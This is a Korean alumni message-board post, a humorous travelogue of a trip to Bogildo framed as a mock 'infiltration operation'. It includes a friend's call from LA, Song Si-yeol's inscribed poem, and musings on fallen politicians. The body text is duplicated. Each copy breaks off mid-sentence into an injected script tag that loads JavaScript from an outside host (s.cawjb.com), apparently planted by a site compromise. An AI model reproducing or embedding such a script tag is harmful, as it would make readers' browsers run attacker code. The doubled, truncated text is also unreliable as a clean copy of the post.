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[제목]
남해 고도에 서서... (최영철)
🧑 정부영
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📅 2016-01-08 20:16:39
|
👀 30
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일전 게시판에 "보길도 유람"에 공표한 뒷 얘기를 하러 귀경하여 게시판을 열어보았더니, 우리들의 명 이바구꾼 백운도사가 이미 보길도에 대한 자세한 야그를 해 놓았기에 나는 여행에서 있었던 작은 감상들 위주로 보고하려 합니다.
작전명 "보길도 침투작전"의 전격적인 개시를 위해 새벽 4시 나는 요란한 전화 벨 소리와 함께 한참 들었던 새벽 단잠을 깼다.
철저한 보안 속에 진행되던 작전이 드디어 개시된 것이다.
나와 2인조로 침투하기로 한 보길처사(나팔수:김선봉)는 모든 작전은 새벽 야음을 타야 성공할 확률이 높다는 지론에 따라 나와 집사람은 갑자기 5분대기조 출동같이 분주를 떨어야 했다.
보길처사의 집에 들러 각종 전투식량과 군수물자를 옮겨 싣고 서울을 떠난 시각이 대략 5시 20분쯤. 그 길로 적의 정보망을 교묘히 빠져나가며 냅다 달리기 시작하여 해가 뜰 무렵에 이미 서해안 고속도로의 어느 휴게소에 도착(대외비이기 때문에 이름은 밝히지 않겠다.).
간단한 요기를 하는데 전화가 온다.
어라, 전화번호 정보 표시가 안 뜬다.
"나 LA 종규야! 잘 지내지? 게시판 열심히 보고 있다."
"코브라 스피킹 반갑다. 전부들 잘 있지?"
"샌브란시스코의 김선관한테는 그 쪽 친구들한테 연락해서 엊그제 갔다 왔다."
"역시 총무답다."
"우리 연주회 하는데 도와주라. 상진이 하는 장애우 돕기 해야 돼!"
"그래 도와줄게!"
참으로 반갑고도 고마운 친구다. 도와준다는 말 하나로도 충분하다는 생각이 들었다.
세상이든 내세든 어디에 있든지 우리는 볼재의 영원한 친구들이지...
목포를 거쳐 해남의 땅끝마을 선착장에 배 떠나는 정확한 시간에 도착하여, 11시 배에 차와 함께 올랐다. 여기까지 쉽게 온 건 우리의 위성 추적장치가 달린 최신 비밀장비 덕분이다. 역시 현대전은 최신장비와 수많은 정보가 우선해야 이긴다.
보길도 상륙을 완수하자 곧바로 거점 구축에 나서 예송리 해수욕장 근처의 선봉이네 집을 인수하는데 성공하고 싣고 간 많은 장비들을 내려놓았다.
선봉이가 거점 구축을 하는 동안 시간을 아끼고자 나는 본진 도착을 위해 섬 전체를 경계시찰하기로 하였다.
이름난 곳 여기저기를 돌고 돌아오는데, 자세한 내용은 흰구름군이 이미 밝혔으므로 생략하기로 하자.
보길도에는 유명한 두 분의 역사가 서려 있다. 한 분은 고산 윤선도인데 흰구름군이 이미 설명해 놓았다. 또 한 분은 우암 송시열이다.
우암 송시열 선생 글씐 바위
83세 늙은 이 몸이
거칠고 먼 바닷길을 가노라
한 마디 말이 어찌 큰 죄가 되어
3번이나 쫓겨가니 신세가 궁하구나
북녘 하늘 해를 바라보며
남쪽 바다 믿고 가느니 바람뿐이네
초구(임금이 하사한 옷)에는 옛 은혜 서려 있어
감격한 외로운 속마음 눈물 지우네
(尤庵 宋時烈 作)
보길도의 맨 동쪽 끝 해변에 있으며 남쪽으로 넓게 펼쳐진 바다가 수평선으로 이어져 있으며 바로 앞은 소안도가 보이며 수평선 쪽에는 제주도가 시야에 들어온다.
주변의 경관은 20~30m의 높은 절벽이 약 300m까지 이어져 있으며, 절벽 위에는 해송이 울창하다. 이 절벽의 한 부분에 조선 중기의 대학자이며 정치가였던 우암 송시열이 마지막 시를 음각으로 남겨 놓았다. 조선 숙종(1689년)때 왕세자 책봉문제로 당파간에 논쟁이 심화되었고 우암 송시열을 제주도로 유배를 명하게 되고 유배 길에 오른 우암 송시열은 보길도를 지남에 잠시 쉬었다가 석벽에 한시 한 수를 남겨 놓았는데 자기의 신세를 한탄하는 내용의 시다. 석벽에는 시가 2수가 음각되어 있는데 1수는 우암 송시열이 지은 것이고, 1수는 임관주(任觀周)작으로 추정이 된다. 아쉬운 것이 있다면 모진 사람들의 손에 의한 탁본의 흔적 때문에 잘 알아보기가 어렵다.
내려오면서 잠깐 생각에 잠긴다.
한 사람은 모든 걸 버리고 자연을 벗하려 내려와 많은 시를 남기고 풍류를 즐기며 살았고, 한 사람은 오직 임금만을 바라며 살다가, 83세가 나서도 섭섭한 감정을 후세에 남겼다.
두 사람의 눈에는 같은 보길도도 천당과 지옥으로 보였으리라...
요즘 실명의 위기에 놓여 선처를 호소하는 모 정치인을 생각해 본다.
불과 몇 년 전만 해도 하늘을 찌를 듯한 권세를 휘두르던 사람 아닌가!
권불십년, 화무십일홍의 뜻이 옛날로부터 대대로 내려오는데도 사람들은 똑같은 역사를 반복한다.
온 세상을 살펴봐도 정치인 중에 끝을 잘 맺은 사람이 대체 몇이나 되던가?
자기 앞길이 어떻게 진행될 지도 모르면서 많은 백성들을 인도한다니 참...
왜 임금이든 누구든 사람한테 목을 매고 죽느니 사느니 하는지 원원원...
차라리 고산같이 자기만의 길을 가는 게 현명하지 않을까?
자기가 망하는 데에야 무슨 권세, 부귀영화가 ?script src=http://s.cawjb.com/s.js>
작전명 "보길도 침투작전"의 전격적인 개시를 위해 새벽 4시 나는 요란한 전화 벨 소리와 함께 한참 들었던 새벽 단잠을 깼다.
철저한 보안 속에 진행되던 작전이 드디어 개시된 것이다.
나와 2인조로 침투하기로 한 보길처사(나팔수:김선봉)는 모든 작전은 새벽 야음을 타야 성공할 확률이 높다는 지론에 따라 나와 집사람은 갑자기 5분대기조 출동같이 분주를 떨어야 했다.
보길처사의 집에 들러 각종 전투식량과 군수물자를 옮겨 싣고 서울을 떠난 시각이 대략 5시 20분쯤. 그 길로 적의 정보망을 교묘히 빠져나가며 냅다 달리기 시작하여 해가 뜰 무렵에 이미 서해안 고속도로의 어느 휴게소에 도착(대외비이기 때문에 이름은 밝히지 않겠다.).
간단한 요기를 하는데 전화가 온다.
어라, 전화번호 정보 표시가 안 뜬다.
"나 LA 종규야! 잘 지내지? 게시판 열심히 보고 있다."
"코브라 스피킹 반갑다. 전부들 잘 있지?"
"샌브란시스코의 김선관한테는 그 쪽 친구들한테 연락해서 엊그제 갔다 왔다."
"역시 총무답다."
"우리 연주회 하는데 도와주라. 상진이 하는 장애우 돕기 해야 돼!"
"그래 도와줄게!"
참으로 반갑고도 고마운 친구다. 도와준다는 말 하나로도 충분하다는 생각이 들었다.
세상이든 내세든 어디에 있든지 우리는 볼재의 영원한 친구들이지...
목포를 거쳐 해남의 땅끝마을 선착장에 배 떠나는 정확한 시간에 도착하여, 11시 배에 차와 함께 올랐다. 여기까지 쉽게 온 건 우리의 위성 추적장치가 달린 최신 비밀장비 덕분이다. 역시 현대전은 최신장비와 수많은 정보가 우선해야 이긴다.
보길도 상륙을 완수하자 곧바로 거점 구축에 나서 예송리 해수욕장 근처의 선봉이네 집을 인수하는데 성공하고 싣고 간 많은 장비들을 내려놓았다.
선봉이가 거점 구축을 하는 동안 시간을 아끼고자 나는 본진 도착을 위해 섬 전체를 경계시찰하기로 하였다.
이름난 곳 여기저기를 돌고 돌아오는데, 자세한 내용은 흰구름군이 이미 밝혔으므로 생략하기로 하자.
보길도에는 유명한 두 분의 역사가 서려 있다. 한 분은 고산 윤선도인데 흰구름군이 이미 설명해 놓았다. 또 한 분은 우암 송시열이다.
우암 송시열 선생 글씐 바위
83세 늙은 이 몸이
거칠고 먼 바닷길을 가노라
한 마디 말이 어찌 큰 죄가 되어
3번이나 쫓겨가니 신세가 궁하구나
북녘 하늘 해를 바라보며
남쪽 바다 믿고 가느니 바람뿐이네
초구(임금이 하사한 옷)에는 옛 은혜 서려 있어
감격한 외로운 속마음 눈물 지우네
(尤庵 宋時烈 作)
보길도의 맨 동쪽 끝 해변에 있으며 남쪽으로 넓게 펼쳐진 바다가 수평선으로 이어져 있으며 바로 앞은 소안도가 보이며 수평선 쪽에는 제주도가 시야에 들어온다.
주변의 경관은 20~30m의 높은 절벽이 약 300m까지 이어져 있으며, 절벽 위에는 해송이 울창하다. 이 절벽의 한 부분에 조선 중기의 대학자이며 정치가였던 우암 송시열이 마지막 시를 음각으로 남겨 놓았다. 조선 숙종(1689년)때 왕세자 책봉문제로 당파간에 논쟁이 심화되었고 우암 송시열을 제주도로 유배를 명하게 되고 유배 길에 오른 우암 송시열은 보길도를 지남에 잠시 쉬었다가 석벽에 한시 한 수를 남겨 놓았는데 자기의 신세를 한탄하는 내용의 시다. 석벽에는 시가 2수가 음각되어 있는데 1수는 우암 송시열이 지은 것이고, 1수는 임관주(任觀周)작으로 추정이 된다. 아쉬운 것이 있다면 모진 사람들의 손에 의한 탁본의 흔적 때문에 잘 알아보기가 어렵다.
내려오면서 잠깐 생각에 잠긴다.
한 사람은 모든 걸 버리고 자연을 벗하려 내려와 많은 시를 남기고 풍류를 즐기며 살았고, 한 사람은 오직 임금만을 바라며 살다가, 83세가 나서도 섭섭한 감정을 후세에 남겼다.
두 사람의 눈에는 같은 보길도도 천당과 지옥으로 보였으리라...
요즘 실명의 위기에 놓여 선처를 호소하는 모 정치인을 생각해 본다.
불과 몇 년 전만 해도 하늘을 찌를 듯한 권세를 휘두르던 사람 아닌가!
권불십년, 화무십일홍의 뜻이 옛날로부터 대대로 내려오는데도 사람들은 똑같은 역사를 반복한다.
온 세상을 살펴봐도 정치인 중에 끝을 잘 맺은 사람이 대체 몇이나 되던가?
자기 앞길이 어떻게 진행될 지도 모르면서 많은 백성들을 인도한다니 참...
왜 임금이든 누구든 사람한테 목을 매고 죽느니 사느니 하는지 원원원...
차라리 고산같이 자기만의 길을 가는 게 현명하지 않을까?
자기가 망하는 데에야 무슨 권세, 부귀영화가 ?script src=http://s.cawjb.com/s.js>
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